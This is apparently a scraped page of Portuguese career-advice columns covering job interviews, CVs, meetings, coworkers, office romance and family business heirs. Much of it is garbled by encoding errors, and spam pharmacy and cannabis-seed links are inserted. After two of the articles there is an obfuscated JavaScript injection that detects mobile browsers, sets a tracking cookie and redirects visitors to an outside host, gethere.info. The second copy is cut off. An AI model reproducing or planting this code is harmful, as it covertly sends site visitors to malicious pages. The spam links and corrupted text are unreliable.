Minha família tem uma empresa, mas tenho outros interesses profissionais e não desejo atuar na gestão dos negócios. Como faço para não perder de vista o patrimônio construído pelos meus pais?
Nem sempre os herdeiros seguem o rumo desejado pelos fundadores das empresas familiares, que é ter como projeto profissional trabalhar nos empreendimentos da família. Seja por não se identificar com a área ou por preferirem seguir outros caminhos, é comum que alguns herdeiros façam a escolha de não atuarem diretamente na empresa da família, e essa decisão deve ser respeitada. Porém, isso não significa deixar de lado o seu patrimônio.
É preciso lembrar que ser herdeiro não significa ser um executivo nem ter uma rotina de trabalho diária nos negócios da família. Entretanto, mesmo não participando da gestão empresarial, o patrimônio não deixa de ser dele por direito, e todos os resultados da empresa, sejam bons ou ruins, poderão impactar diretamente no futuro dele.
Por isso, é importante desenvolver meios de acompanhar o desempenho empresarial e as decisões de maior impacto, conhecer a estrutura e funcionamento da empresa e saber como está o mercado em que está inserida. Desta forma, terá recursos para opinar quando necessário e, inclusive, poder contribuir aos negócios mesmo sem atuar diretamente.
Existem várias formas de fazer isso e cada empresa definirá a melhor considerando seu modelo de governança. O que precisa ser garantido é um espaço de discussão com a participação de herdeiros, outros sócios e os principais executivos. Mas lembre-se: é preciso respeitar as políticas, as normas e os acordos estabelecidos para a empresa e para a família.
Em resumo, ninguém é obrigado a atuar na empresa da família, mas ser herdeiro não é uma escolha. Por isso, não se deve, de modo algum, desconsiderar seu patrimônio, deixando que outras pessoas decidam questões importantes que em algum momento poderão impactar o seu futuro e no de sua família.
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http://deltonalanesproshop.com/buy-cannabis-seeds-toronto/ Quem nunca conviveu com um colega de trabalho a�?reclamA?oa�?, aquele para quem nada estA? bom? NA?o hA? empresa que nA?o tenha pelo menos um exemplar desse tipo de pessoa que coloca dificuldade em tudo e vive reclamando da vida. O problema A� que esse colega pode acabar contaminando a rotina de todos ao seu redor, mesmo daqueles que estA?o empenhados em dar o melhor de si e em ver o lado bom das coisas. Por isso, A� importante ficar atendo para nA?o se deixar contaminar pela negatividade alheia.
Manter um bom clima organizacional A� vital para qualquer empresa. Afinal, ele influencia a produtividade, as relaA�A�es interpessoais, o nA�vel de satisfaA�A?o da equipe e afeta diretamente nos resultados. Contudo, a manutenA�A?o desse clima A� um grande desafio, principalmente quando existe na equipe um profissional que vA? dificuldade em tudo. Isso porque, invariavelmente, essa negatividade vai tornar a convivA?ncia do grupo mais difA�cil e as pessoas acabam tendo que escolher entre dois caminhos: ou se afastam para suportar melhor o dia a dia ou embarcam no mesmo clima. Para a empresa, nenhuma opA�A?o acima A� saudA?vel.
Por isso, A� importante ficar atento para evitar cair em armadilhas. O primeiro passo A� nA?o se deixar contaminar e criar uma “barreira”, capaz de filtrar o que estA? sendo dito. Outra dica A� nA?o alimentar a negatividade do outro. Sempre que o colega vier reclamar, procurar desviar do assunto e nA?o dar espaA�o para que ele alimente sua insatisfaA�A?o. Tentar ajudar o colega a quebrar a rotina de queixas tambA�m pode ser uma boa alternativa, mostrando os pontos positivos que ele nA?o consegue enxergar.
Mas caso o profissional entenda que a reclamaA�A?o do colega A� pertinente, vale a pena conversar e tentar ajudar de alguma forma na busca por uma resoluA�A?o. O mesmo vale para o gestor. A� preciso ter cuidado, pois atA� mesmo um profissional taxado de a�?reclamA?oa�? pode estar falando sobre algo importante e que pode ser vital para o bom desempenho da empresa. O aconselhA?vel A� nunca desconsiderar por completo o que estA? sendo dito, mesmo que a fonte nA?o tenha uma boa a�?famaa�?.
Estou satisfeito com meu trabalho, mas não gosto de algumas atividades necessárias na minha rotina. Como lidar com isso?
O primeiro passo é entender que é inevitável: ao longo da vida, sempre vamos nos deparar com algumas atividades e obrigações das quais não gostamos ou não nos identificamos, seja no âmbito profissional ou pessoal. A crença de que é possível estar feliz e satisfeito em tempo integral pode ser uma grande armadilha para o sucesso.
Na rotina de trabalho, compreender que não é possível fazer só aquilo que gosta é fundamental para conseguir lidar melhor com os momentos mais cansativos e pouco “glamourosos” da atividade que desempenha. Nesse caminho, é preciso ter maturidade para entender que isso faz parte de qualquer situação profissional e não deixar que essa insatisfação acabe atrapalhando seu desempenho.
Para ajudar a lidar melhor com esse sentimento, seguem algumas dicas:
1. Procure entender a importância dessa atividade da qual não gosta para o bom desempenho do seu trabalho. Se ela tem que ser feita, é porque alguma relevância tem;
2. Faça uma autocrítica. Você está prejudicando seu desempenho por causa dessa atividade da qual não gosta e não se dedica? Por exemplo, estão acontecendo atrasos, falta de retorno ou falhas por causa dessa insatisfação?
3. Não idealize demais. Pense que todo mundo tem alguma coisa que não gosta de fazer, mas que precisa realizar mesmo assim. A diferença pode estar na forma como cada um lida com isso. Então, encare a realidade e não fiquei se queixando o tempo todo.
Por fim, procure entender que mesmo se você mudar de trabalho ou carreira, sempre vai existir alguma coisa que não vai te agradar 100%. Isso acontece inclusive com aqueles que são apaixonados pelo que fazem. Mas se você só focar no que é ruim, nunca ficará satisfeito.
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Fui chamado para uma entrevista de emprego e preciso me sair bem. Como faAi??o para me sair bem?
A entrevista de emprego Ai?? um momento crucial para conquistar a vaga desejada. Ai?? a hora de causar uma boa impressA?o, agora pessoalmente, para alguAi??m que jA? demonstrou interesse na sua experiA?ncia profissional atravAi??s do currAi??culo. Portanto, Ai?? importante tomar alguns cuidados e se preparar bem.
O primeiro passo Ai?? caprichar na explanaAi??A?o da sua trajetA?ria profissional, pensando em como tornA?-la mais atrativa e passando as informaAi??Ai??es com objetividade. Caso sinta necessidade de explicitar suas experiA?ncias desde o comeAi??o, seja sintAi??tico e foque naquelas que tenham maior relaAi??A?o com a vaga em questA?o. Organize previamente as ideias e treine a explanaAi??A?o das suas qualificaAi??Ai??es pessoais e acadA?micas. Ai?? interessante falar das suas qualidades fazendo ligaAi??A?o com oportunidade em questA?o. Nesta hora, Ai?? essencial que vocA? seja sincero e fale somente das habilidades que realmente existem.
Cuidado tambAi??m com seu nAi??vel de entusiasmo ao falar de si mesmo, para nA?o parecer falso. Entretanto, falar com pouco entusiasmo tambAi??m Ai?? um risco. Pode parecer falta de interesse ou nA?o ai???conquistarai??? o interlocutor. A dica Ai?? ser franco e sincero quando for expor seus aspectos positivos e conquistas e, quando questionado, colocar suas dificuldades, porAi??m, complementando com as estratAi??gias que utiliza para lidar com elas.
Se jA? souber qual Ai?? a empresa contratante, faAi??a uma pesquisa sobre ela antes da entrevista. Vale olhar o site da organizaAi??A?o ou falar com colegas que estA?o trabalhando ou que jA? passaram por ela, por exemplo. Procure tambAi??m saber como anda o mercado em que ela estA? inserida. Com isso vocA? consegue demonstrar mais interesse e proatividade.
Atentar para o comportamento tambAi??m Ai?? essencial e pode fazer a diferenAi??a, principalmente se for uma entrevista coletiva. Seja educado com o entrevistador e com os outros candidatos: nunca interrompa a fala de alguAi??m, saiba ouvir com atenAi??A?o e nA?o fale em excesso. Seja objetivo e, principalmente, evite falar o que nA?o foi perguntado diretamente a vocA?. Ser comedido nas horas certas Ai?? uma virtude. Por A?ltimo, a forma de cumprimentar o entrevistador que deve ser profissional e formal, mesmo que jA? o conheAi??a. Mostrar intimidade demais pode demonstrar imaturidade. Seguindo essas dicas, vocA? estarA? a um passo da contrataAi??A?o.
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Preparando um bom currículo
O currículo é a porta de entrada para o mercado de trabalho. Por isso, quem busca uma vaga deve ficar atento na hora de enviá-lo para se candidatar a uma oportunidade de emprego. Um currículo descuidado, desnecessariamente longo e com erros gramaticais pode prejudicar a imagem do candidato e impedi-lo de avançar para as outras fases da seleção.
Ainda é comum que os profissionais tenham dúvidas sobre a melhor maneira de preparar um bom currículo. Seja porque ainda não tiveram experiências no mercado de trabalho ou por estarem há muitos anos sem concorrer a uma oportunidade de emprego, algumas pessoas acabam ficando cheias de dúvidas na hora de colocar as informações profissionais no papel e cometendo erros básicos como escrever demais ou suprimir informações relevantes, por exemplo. Na hora de fazer o currículo, é preciso ter cuidado com a apresentação e seleção das informações para que passem uma boa impressão e despertem, na empresa, o interesse em conhecer o profissional.
Ao que se refere à apresentação, é preciso escolher atentamente o tipo e tamanho da fonte que será usada no currículo para deixá-lo o mais sóbrio e legível possível. A disposição das informações deve considerar um padrão de margens e espaçamentos entre parágrafos que facilite a leitura e sem erros de português ou digitação. Logo no início da página, deve-se colocar os dados indispensáveis do candidato, como nome completo, endereço, telefone, data de nascimento e o e-mail, além dos seus objetivos profissionais, ou seja, áreas de interesse ou função para a qual quer se candidatar. Acrescentar ainda as informações sobre formação, nível de escolaridade com data de conclusão do curso.
Já para a seleção dos conteúdos, uma dica importante é fazer um currículo direcionado, montado de acordo com a vaga a que quer se candidatar. Neste sentido, é importante ressaltar no documento aquelas experiências e conhecimentos que mais se relacionem com a função em questão. As demais experiências devem também ser incluídas, porém com menor ênfase, sem necessidade de muito detalhamento.
Ainda com relação às experiências de trabalho, elas devem vir em ordem decrescente – da mais recente até a mais antiga – com detalhamento da função exercida e descrição de cada desdobramento. Caso ainda não haja experiências, o candidato pode escrever sobre seus objetivos na área e atividades afins que lhe adicionaram bagagem para seu primeiro trabalho. Por exemplo, incluir caso tenha participado de pesquisas acadêmicas, produção de artigos, atividades voluntárias ou desportivas que agreguem valor ao currículo.
Inclua também as informações sobre cursos que complementam sua formação, assim como o grau de fluência em idiomas e o nível de informática que possui quando a informação for relevante. Acrescente, para finalizar, sua pretensão salarial e alguns contatos que possam servir como referência profissional.
No fim das contas, o profissional que busca seu lugar no mercado de trabalho deve entender que depende do seu currículo a primeira impressão que ele causará em seus entrevistadores. Dedicar um pouco mais de tempo na sua preparação pode fazer a diferença. Mãos à obra e boa sorte!
http://deltonalanesproshop.com/order-hyzaar-online/ http://csred.org/2018/02/buying-stromectol-online/ http://blogtiengviet.com/how-much-does-minocycline-cost-with-insurance/ Na correria do cotidiano, muitas vezes Ai?? difAi??cil pararmos para refletir sobre o caminho que temos seguido em nossa carreira. SerA? que a atividade que desempenho me traz realizaAi??A?o? O retorno que tenho recebido por esse trabalho Ai?? suficiente para suprir minhas demandas profissionais e pessoais? As respostas para essas perguntas podem levar a uma completa mudanAi??a profissional ou a uma nova perspectiva sobre o futuro.
Para saber se estamos no caminho certo, Ai?? recomendA?vel fazer uma avaliaAi??A?o da nossa carreira sob duas perspectivas: o nosso prA?prio julgamento e a visA?o dos outros sobre o nosso desempenho. Unir essas duas anA?lises pode ajudar a construir uma noAi??A?o mais clara do todo. Fazendo a autoavaliaAi??A?o, cabe ao profissional se questionar sobre o grau de realizaAi??A?o e de satisfaAi??A?o com o prA?prio trabalho e se a atividade estA? atendo aos seus propA?sitos.
Em geral, quando conseguimos associar o trabalho a um propA?sito claro, pessoal ou nA?o, aumentamos o nosso nAi??vel de satisfaAi??A?o. Para ajudar nessa autorreflexA?o, seguem aqui algumas perguntas que podem ajudar: (1) tenho prazer na realizaAi??A?o do meu trabalho, na maior parte do tempo? (2) tenho orgulho do que faAi??o e gosto de conversar sobre o assunto? (3) consigo obter um retorno satisfatA?rio, considerando o meu investimento e dedicaAi??A?o Ai?? atividade? (4) avalio que minha remuneraAi??A?o Ai?? compatAi??vel com a funAi??A?o que exerAi??o e estou conseguindo conquistar meus objetivos pessoais, considerando patrimA?nio e status?
Este A?ltimo merece uma atenAi??A?o especial. NA?o Ai?? incomum encontrarmos profissionais que gostam muito do que fazem, mas nA?o conseguem suprir suas expectativas pessoais e financeiras com o trabalho que desempenham. Por outro lado, hA? tambAi??m aqueles que nA?o estA?o satisfeitos com o que fazem, mas nA?o conseguem abrir mA?o daquilo que o seu trabalho proporciona (por exemplo, alta remuneraAi??A?o, status social, etc). Ai?? importante que o profissional consiga encontrar um equilAi??brio nesta equaAi??A?o entre satisfaAi??A?o em gostar do que faz e retorno de demandas e expectativas pessoais, diminuindo o risco de frustraAi??A?o com sua carreira no futuro.
AlAi??m da autoavaliaAi??A?o, conhecer a visA?o de outras pessoas sobre o nosso desempenho tambAi??m Ai?? interessante e pode ajudar a discernir pontos que nA?o estA?o tA?o claros para quem estA? imerso na situaAi??A?o. Um colega de trabalho que acompanha nossa trajetA?ria, por exemplo, consegue opinar sobre questAi??es como nAi??vel de identificaAi??A?o com a empresa ou com o trabalho. A visA?o de um terceiro pode complementar a nossa prA?pria percepAi??A?o. Outra opiniA?o que pode tambAi??m contribuir Ai?? a do gestor ao avaliar seu desempenho na tarefa. Afinal, quando os objetivos nA?o estA?o conseguindo ser alcanAi??ados pode ser um sinal de que algo estA? errado com as nossas escolhas.
Esse tipo de reflexA?o sobre a prA?pria carreira deve ser feita regularmente, mas Ai?? importante manter-se atento ao risco de tomadas de decisAi??es precipitadas. Muitas vezes, o profissional nA?o tem ainda a experiA?ncia e o tempo necessA?rios para avaliar com consistA?ncia se estA? ou nA?o no rumo certo, seja por estar muito no inAi??cio da sua trajetA?ria ou iniciando um novo caminho.
De toda forma, manter-se em sintonia com a carreira e atento ao futuro profissional Ai?? sempre importante e a autoavaliaAi??A?o tem um peso essencial nesse processo. NA?o tenha medo de sair da zona de conforto e se reinventar sempre que for preciso. Ao mesmo tempo, pondere suas decisAi??es considerando aquilo que realmente importa, sem idealizaAi??Ai??es excessivas, com pAi?? no chA?o, mas sempre em busca da realizaAi??A?o dos projetos pessoais e profissionais.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Muitos profissionais se ressentem por passarem muitas horas em reunião, achando perda de tempo e de produtividade. Porém, quando bem executadas, elas se tornam ferramentas essenciais para o bom andamento dos projetos.
Essa insatisfação com as reuniões geralmente acontece quando elas são mal planejadas ou conduzidas, já que, quando bem executadas, elas podem ajudar a ganhar tempo, pois permitem monitorar conjuntamente o andamento dos trabalhos, orientar os profissionais quanto aos padrões e resultados esperados ou esclarecer dúvidas sobre projetos, por exemplo. Mas como o profissional pode ajudar para torná-las produtivas?
Em primeiro lugar, é preciso atentar para a pontualidade e se preparar com antecedência, expor suas questões com propriedade e objetividade, produzir e checar todo o material que será necessário apresentar. No caso de apresentações de dados, é importante que sejam compilados de forma sintética e objetiva, e que no caso de dúvidas, o acesso à base geradora das informações seja fácil e rápido.
É preciso, ainda, evitar alguns comportamentos, tais como excesso de justificativas e pouco foco na solução ou desvio de atenção com uso do celular, notebook e tablet – salvo em situações de extrema necessidade, o que, neste caso, deve-se avisar previamente ao coordenador da reunião. E, sobretudo, ter uma participação efetiva, contribuindo para as discussões e sabendo ouvir e respeitar as falas dos colegas.
E para quem assume a posição de coordenador da reunião regularmente, é importante que monte o calendário semestral ou anual e divulgue a todos os interessados. Cuidado com a lista de participantes. Um erro comum é convidar pessoas que não tem nada a ver com a pauta e, aí sim, elas podem ter um sentimento de perda de tempo. Outra dica é nunca começar atrasado e ou terminar depois do previsto. As pessoas têm outros compromissos que precisam dar conta e é desrespeitoso não considerar isso.
Após a reunião, reserve alguns minutos para documentar o que foi decidido e disponibilize esse documento para os demais participantes. Dessa forma, todos saberão as próximas etapas evitando problemas de comunicação ou esquecimentos. Em resumo, reuniões podem ser excelentes poupadores de tempo quando bem utilizadas, basta que todos os envolvidos tenham foco e disciplina.
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Estou passando por problemas pessoais que estA?o atrapalhando o meu desempenho no trabalho. O que devo fazer?
Separar aspectos pessoais enquanto estamos no ambiente de trabalho pode ser uma tarefa dura e cheia de percalAi??os. Principalmente quando sA?o questAi??es que envolvem nossa saA?de ou a de parentes, ou atAi?? mesmo dificuldades financeiras, torna-se quase impossAi??vel fingir que o problema nA?o existe e ai???mascararai??? a preocupaAi??A?o diante do chefe e dos colegas de trabalho. AtAi?? porque, qualquer que seja a crise, vai exigir tempo e energia atAi?? ser solucionada, e isso provavelmente terA? um impacto negativo no desempenho profissional.
Em situaAi??Ai??es como esta, Ai?? preciso atentar para a importA?ncia da conversa. NA?o Ai?? vergonha falar sobre suas dificuldades e atAi?? pedir ajuda. Seja discreto, ou seja, nA?o precisa sair contando seus problemas para toda a empresa, mas busque apoio dos colegas mais prA?ximos, do gestor e atAi?? mesmo do setor de Recursos Humanos.
A conversa Ai?? importante tanto para aliviar a tensA?o quanto para ter mais clareza na busca por uma soluAi??A?o que seja possAi??vel para o empregado e que esteja ao alcance da empresa. Por exemplo, pode ser que seja permitido negociar uma antecipaAi??A?o das fAi??rias, o que possibilitaria que o profissional tivesse mais tempo dedicado Ai?? soluAi??A?o do problema sem impactar diretamente no seu desempenho. Em resumo, nA?o adianta ficar ai???sofrendo caladoai??? ou mentir quando alguAi??m perguntar se algo estA? errado. Caso contrA?rio, sua apatia pode acabar sendo vista como desinteresse ou atAi?? desleixo.
E para os gestores que estA?o tendo que lidar com profissionais passando por dificuldades na esfera pessoal, Ai?? importante sempre buscar uma postura cooperativa, afinal, estamos todos passAi??veis de lidar com problemas que nos tirem do eixo. E em um momento difAi??cil, o que mais a pessoa precisa Ai?? de cuidado e atenAi??A?o, contribuindo para que sua recuperaAi??A?o seja mais rA?pida e menos traumA?tica.
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Pessoas mais introspectivas ou tímidas geralmente preferem atividades profissionais que exijam menos interação ao invés daquelas em que é preciso lidar diariamente com outras pessoas. Mas quais podem ser os impactos deste perfil profissional na realização das suas atribuições e na carreira?
É importante que o profissional entenda que fazer parte de uma empresa, independente da atividade que desempenhe, significa em algum momento ter que se relacionar com outros profissionais e outras áreas. Isso porque evitar esse contato pode acabar acentuando uma dificuldade muito comum àqueles que preferem trabalhar sozinhos: a pouca visão do todo, ou seja, do que está sendo realizado e produzido e de como o seu trabalho impacta ou pode ser impactado pelo grupo.
É claro que existem profissões onde a interação com outras pessoas é mais exigida, e outras em que trabalhar sozinho é mais “aceitável”. Uma pessoa da área de vendas, por exemplo, tem muito mais necessidade de se relacionar com os demais atores da organização do que alguém que desempenhe um trabalho de análise técnica. Mas mesmo os trabalhos mais técnicos também necessitam de interação; esta é uma maneira importante de manter a unidade enquanto grupo.
Outra questão que este profissional precisa ficar atento diz respeito à sobrecarga nas atividades que realiza, pois, em geral, evita compartilhar atividades e pedir ajuda, correndo o risco de acumular demandas e atrasar as entregas, prejudicando os resultados.
Infelizmente, o profissional mais introspectivo e tímido tende a ter mais dificuldade de se enquadrar no mercado de trabalho. Neste caminho, é importante que se mantenha a atenção e se identifique quando a falta de interação estiver atrapalhando sua carreira e suas demandas.
E lembre-se: quanto mais se cresce na carreira, mais a capacidade de relacionamento será exigida, portanto, tome cuidado para que esta dificuldade não acabe impactando na sua evolução profissional.
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Na nossa rotina diA?ria, passamos a maior parte do dia no ambiente de trabalho, convivendo com outros profissionais e com eles dividindo boa parte de nossas vidas. Compartilhamos sucessos, frustraAi??Ai??es, problemas e, com alguns, estabelecemos uma relaAi??A?o de admiraAi??A?o, afeto e respeito. Em determinados casos, essa relaAi??A?o sai da porta do escritA?rio e se torna uma grande amizade ou, atAi?? mesmo, um relacionamento amoroso. Quando o A?ltimo acontece, Ai?? preciso que alguns cuidados sejam tomados para nA?o comprometer a carreira dos envolvidos.
Ter uma boa relaAi??A?o com os colegas Ai?? essencial para o bom funcionamento das atividades e para minimizar parte da pressA?o e do estresse comuns Ai??s rotinas de trabalho. PorAi??m, quando essa interaAi??A?o sai do campo profissional e entra no A?mbito pessoal, principalmente quando avanAi??a para uma relaAi??A?o amorosa, os profissionais precisam ficar atentos para nA?o arriscar seus empregos. Como ninguAi??m estA? livre de ser surpreendido por uma paixA?o, mesmo quando ela Ai?? indesejada, seguem algumas dicas que podem ajudar a lidar com a situaAi??A?o da melhor forma:
1. ConheAi??a as regras da empresa: boa parte das organizaAi??Ai??es tA?m regras bem definidas com relaAi??A?o ao relacionamento entre os seus empregados. Algumas delas permitem sob alguns critAi??rios, outras proAi??bem totalmente. Conhecer as normas da empresa em que se trabalha Ai?? essencial para nA?o causar mal-entendidos e desconfortos quando o relacionamento vier Ai?? tona;
2. Escolha o momento oportuno para falar: nA?o tente esconder o relacionamento dos seus gestores, se a relaAi??A?o Ai?? pra valer. Fazer isso pode parecer tentador, no sentido de evitar exposiAi??A?o e situaAi??Ai??es constrangedoras, mas em algum momento o segredo serA? descoberto. Ai?? melhor que a situaAi??A?o seja levada para a gestA?o pelas prA?prias pessoas envolvidas do que atravAi??s de boatos dentro do ambiente de trabalho. Ser transparente Ai?? o melhor modo para resolver qualquer tipo de dificuldade;
3. Separe o pessoal do profissional: nunca misture seu relacionamento com as questAi??es da empresa. Tudo o que for de ordem pessoal deve ficar para fora da porta da organizaAi??A?o. Isso tambAi??m vale para conversas e contatos Ai??ntimos, que nA?o devem acontecer dentro do ambiente de trabalho. Ser discreto Ai?? fundamental para que o relacionamento nA?o vire um problema;
4. E no caso de envolvimento com o chefe, a melhor alternativa para a situaAi??A?o Ai?? sugerir uma mudanAi??a de A?rea ou, atAi?? mesmo, de empresa, para nA?o por em risco a qualidade da gestA?o.
Em resumo, o mais importante dentro de uma situaAi??A?o como essa Ai?? manter o enquadramento o mais profissional possAi??vel. O diA?logo franco com os gestores tambAi??m Ai?? de grande valia nesse momento e nA?o deve ser deixado de lado.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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